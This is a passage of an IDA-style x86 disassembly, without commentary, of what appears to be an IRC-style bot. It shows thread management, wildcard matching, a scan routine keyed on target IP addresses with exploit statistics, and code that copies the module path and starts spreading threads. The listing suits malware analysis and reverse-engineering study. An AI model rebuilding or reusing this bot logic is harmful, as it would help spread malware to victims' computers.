		inc	ebx


loc_40B5A0:				; CODE XREF: sub_40B583+Fj
					; sub_40B583+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB710
		jl	short loc_40B58F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B5	proc near		; CODE XREF: sub_401ACD+41B2p
					; sub_401ACD+4302p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E914


loc_40B5C9:				; CODE XREF: sub_40B5B5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5EB
		test	edi, edi
		jle	short loc_40B5DD
		cmp	[esi], edi
		jz	short loc_40B5DD
		cmp	ebx, edi
		jnz	short loc_40B5EB


loc_40B5DD:				; CODE XREF: sub_40B5B5+1Ej
					; sub_40B5B5+22j
		push	ebx
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5EB
		inc	[ebp+var_4]


loc_40B5EB:				; CODE XREF: sub_40B5B5+1Aj
					; sub_40B5B5+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB914
		jl	short loc_40B5C9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B602	proc near		; CODE XREF: sub_401221+40Fp
					; sub_401ACD+95Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E910


loc_40B609:				; CODE XREF: sub_40B602+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B612
		inc	eax


loc_40B612:				; CODE XREF: sub_40B602+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B609
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B621	proc near		; CODE XREF: sub_401ACD+23D9p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E910


loc_40B62B:				; CODE XREF: sub_40B621+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B644
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B62B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B644:				; CODE XREF: sub_40B621+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B648	proc near		; CODE XREF: sub_401ACD+123Dp
					; sub_401ACD+125Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B661
		push	[ebp+arg_1C]
		call	sub_41C159
		pop	ecx


loc_40B661:				; CODE XREF: sub_40B648+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B68D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_40B6A7
; ---------------------------------------------------------------------------


loc_40B68D:				; CODE XREF: sub_40B648+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_40B6A7:				; CODE XREF: sub_40B648+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6C7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40B6C7:				; CODE XREF: sub_40B648+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		leave
		retn
sub_40B648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D6	proc near		; CODE XREF: sub_4017ED+159p
					; sub_40B425+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E924[eax], ecx
		mov	dword_43E910[eax], ecx
		mov	dword_43E914[eax], ecx
		mov	dword_43E918[eax], ecx
		mov	dword_43E91C[eax], ecx
		mov	dword_43E920[eax], ecx
		mov	byte ptr dword_43E710[eax], cl
		mov	byte_43E928[eax], cl
		retn
sub_40B6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B713	proc near		; CODE XREF: sub_401ACD+7C2Bp
					; sub_40B841+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B71D:				; CODE XREF: sub_40B713+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B77D
		cmp	eax, 1
		jnz	short loc_40B77D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B77D
		cmp	cl, 2Ah
		jz	short loc_40B764
		cmp	cl, 3Fh
		jz	short loc_40B747
		cmp	cl, 5Bh
		jz	short loc_40B74C
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B747:				; CODE XREF: sub_40B713+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B74C:				; CODE XREF: sub_40B713+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B7A9
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_40B713+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B841
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B777:				; CODE XREF: sub_40B713+37j
					; sub_40B713+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B71D
; ---------------------------------------------------------------------------


loc_40B77D:				; CODE XREF: sub_40B713+Ej
					; sub_40B713+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B78D
		cmp	eax, 1
		jnz	short loc_40B7A4
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------


loc_40B78D:				; CODE XREF: sub_40B713+6Dj
		cmp	eax, 1
		jnz	short loc_40B7A4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B7A4
		cmp	byte ptr [esi],	0
		jnz	short loc_40B7A4
		push	1
		pop	eax
		jmp	short loc_40B7A6
; ---------------------------------------------------------------------------


loc_40B7A4:				; CODE XREF: sub_40B713+72j
					; sub_40B713+7Dj ...
		xor	eax, eax


loc_40B7A6:				; CODE XREF: sub_40B713+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A9	proc near		; CODE XREF: sub_40B713+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7CA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7CA:				; CODE XREF: sub_40B7A9+19j
		push	ebx
		push	esi


loc_40B7CC:				; CODE XREF: sub_40B7A9+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7DA
		cmp	[ebp+var_4], eax
		jnz	short loc_40B826


loc_40B7DA:				; CODE XREF: sub_40B7A9+2Aj
		test	edi, edi
		jnz	short loc_40B81B
		cmp	bl, 2Dh
		jnz	short loc_40B80F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B80F
		cmp	al, 5Dh
		jz	short loc_40B80F
		cmp	[ebp+var_4], edi
		jnz	short loc_40B80F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B81B
		cmp	bl, al
		jg	short loc_40B81B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B81B
; ---------------------------------------------------------------------------


loc_40B80F:				; CODE XREF: sub_40B7A9+38j
					; sub_40B7A9+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B81B
		push	1
		pop	edi


loc_40B81B:				; CODE XREF: sub_40B7A9+33j
					; sub_40B7A9+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7CC
; ---------------------------------------------------------------------------


loc_40B826:				; CODE XREF: sub_40B7A9+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B833
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B833:				; CODE XREF: sub_40B7A9+82j
		cmp	edi, eax
		jnz	short loc_40B83C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B83C:				; CODE XREF: sub_40B7A9+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B841	proc near		; CODE XREF: sub_40B713+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B85D:				; CODE XREF: sub_40B841+3Aj
		cmp	[eax], bl
		jz	short loc_40B87D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B872
		cmp	cl, 2Ah
		jnz	short loc_40B87D
		cmp	cl, 3Fh
		jnz	short loc_40B875


loc_40B872:				; CODE XREF: sub_40B841+25j
		inc	eax
		mov	[edi], eax


loc_40B875:				; CODE XREF: sub_40B841+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B85D
; ---------------------------------------------------------------------------


loc_40B87D:				; CODE XREF: sub_40B841+1Ej
					; sub_40B841+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B888
		inc	dword ptr [esi]
		jmp	short loc_40B87D
; ---------------------------------------------------------------------------


loc_40B888:				; CODE XREF: sub_40B841+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B89A
		xor	eax, eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B89A:				; CODE XREF: sub_40B841+53j
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B8A9
		push	1
		pop	eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B8A9:				; CODE XREF: sub_40B841+4Dj
					; sub_40B841+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3


loc_40B8B7:				; CODE XREF: sub_40B841+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8BB:				; CODE XREF: sub_40B841+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8D3
		cmp	cl, 5Bh
		jz	short loc_40B8D3
		cmp	dl, bl
		jz	short loc_40B8D3
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8BB
; ---------------------------------------------------------------------------


loc_40B8D3:				; CODE XREF: sub_40B841+82j
					; sub_40B841+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8EA
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8EF
; ---------------------------------------------------------------------------


loc_40B8EA:				; CODE XREF: sub_40B841+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8EF:				; CODE XREF: sub_40B841+A7j
		cmp	eax, ebx
		jnz	short loc_40B8B7


loc_40B8F3:				; CODE XREF: sub_40B841+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	[ebp+var_4], 1


loc_40B906:				; CODE XREF: sub_40B841+B6j
					; sub_40B841+BCj
		mov	eax, [ebp+var_4]


loc_40B909:				; CODE XREF: sub_40B841+57j
					; sub_40B841+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B90E	proc near		; CODE XREF: sub_401ACD+2AB2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431B94
		push	eax
		xor	ebx, ebx
		call	sub_41C266
		cmp	dword_4317F8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B980
		push	esi
		mov	esi, offset dword_431800


loc_40B941:				; CODE XREF: sub_40B90E+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B976
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431B88
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		add	esp, 1Ch


loc_40B976:				; CODE XREF: sub_40B90E+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B941
		pop	esi


loc_40B980:				; CODE XREF: sub_40B90E+2Bj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B90E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc near		; CODE XREF: sub_401ACD+2A9Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE4E0
		mov	ecx, dword_4CE4DC
		push	esi
		push	dword_4CB714
		lea	esi, [ecx+eax]
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE4E0
		lea	eax, [ebp+var_200]
		push	dword_4CE4DC
		push	offset unk_431BB4
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA49	proc near		; CODE XREF: sub_401ACD+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE718
		push	offset unk_431BFC
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 28h
		leave
		retn
sub_40BA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA9E	proc near		; CODE XREF: sub_401ACD+2A70p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431C48
		push	eax
		call	sub_41C266
		cmp	dword_4317F8, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BB0A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAD3:				; CODE XREF: sub_40BA9E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C38
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAD3
		pop	esi


loc_40BB0A:				; CODE XREF: sub_40BA9E+2Dj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BA9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB65	proc near		; DATA XREF: sub_401ACD+309Ao

var_3F0		= byte ptr -3F0h
var_1F0		= dword	ptr -1F0h
var_1EC		= byte ptr -1ECh
var_1DC		= byte ptr -1DCh
var_15C		= byte ptr -15Ch
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_134		= byte ptr -134h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_4CBA14	; inet_addr
		xor	edi, edi
		mov	[ebp+var_8], eax
		cmp	dword_4317F8, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jz	loc_40BCC7
		mov	ebx, offset dword_4317F8
		mov	eax, ebx


loc_40BBB6:				; CODE XREF: sub_40BB65+15Cj
		push	[ebp+var_1C]
		push	dword ptr [eax]
		push	[ebp+var_8]
		call	sub_40C34B
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCB7
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_431C98
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_409869
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_415D38
		add	esp, 2Ch
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_15C]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		cmp	[ebp+var_A4], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_A4]
		jnz	short loc_40BC52
		lea	eax, [ebp+var_124]


loc_40BC52:				; CODE XREF: sub_40BB65+E5j
		push	eax
		lea	eax, [ebp+var_1DC]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_24]
		pop	ecx
		mov	[ebp+var_1F0], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_140], eax
		mov	eax, [ebp+var_10]
		pop	ecx
		mov	[ebp+var_13C], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp+var_150], eax
		mov	eax, [ebp+var_18]
		push	2Fh
		mov	[ebp+var_14C], eax
		mov	eax, [ebp+arg_0]
		pop	ecx
		lea	esi, [ebp+var_1F0]
		mov	edi, esp
		mov	[ebp+var_148], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	[ebp+var_4]
		xor	edi, edi


loc_40BCB7:				; CODE XREF: sub_40BB65+64j
		inc	[ebp+arg_0]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBB6


loc_40BCC7:				; CODE XREF: sub_40BB65+44j
		push	[ebp+var_4]
		lea	eax, [ebp+var_134]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset unk_431C64
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_3F0]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_24]
		call	sub_409869
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		add	esp, 2Ch
		push	edi
		call	dword_4270D4	; ExitThread
sub_40BB65	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD1A	proc near		; CODE XREF: sub_401ACD+23F4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_40BD56
		mov	eax, [ebp+arg_C]
		push	dword_4CBB20[eax*8]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431CE8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40BD69
; ---------------------------------------------------------------------------


loc_40BD56:				; CODE XREF: sub_40BD1A+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431CC8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40BD69:				; CODE XREF: sub_40BD1A+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 18h
		leave
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD91	proc near		; CODE XREF: sub_40C600+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C263
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431804[eax], ebx
		jz	loc_40C263
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C018
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CDBDC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDDEC, eax
		mov	dword_4CDDE8, ebx
		call	dword_427078	; GetModuleFileNameA
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CDCE0
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDBD8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDE70, eax
		jnz	short loc_40BE44
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, 1
		jmp	short loc_40BE5E
; ---------------------------------------------------------------------------


loc_40BE44:				; CODE XREF: sub_40BD91+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, ebx


loc_40BE5E:				; CODE XREF: sub_40BD91+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDDEC
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CDDE4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDBD8
		push	offset sub_412197
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, dword_4CDDE4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BECC


loc_40BEBA:				; CODE XREF: sub_40BD91+139j
		cmp	dword_4CDE78, ebx
		jnz	short loc_40BEE7
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40BEBA
; ---------------------------------------------------------------------------


loc_40BECC:				; CODE XREF: sub_40BD91+127j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E08
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40BEE7:				; CODE XREF: sub_40BD91+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		mov	eax, dword_4CB710
		mov	esi, offset dword_4CDE84
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CE094, eax
		mov	dword_4CE090, ebx
		call	dword_427078	; GetModuleFileNameA
		push	103h
		push	edi
		push	offset dword_4CDF88
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDE80, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CE118, eax
		push	7Fh
		jnz	short loc_40BF68
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, 1
		jmp	short loc_40BF82
; ---------------------------------------------------------------------------


loc_40BF68:				; CODE XREF: sub_40BD91+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, ebx


loc_40BF82:				; CODE XREF: sub_40BD91+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CE094
		push	offset unk_431DD4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CE08C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDE80
		push	offset sub_40F3AA
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, dword_4CE08C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BFF0


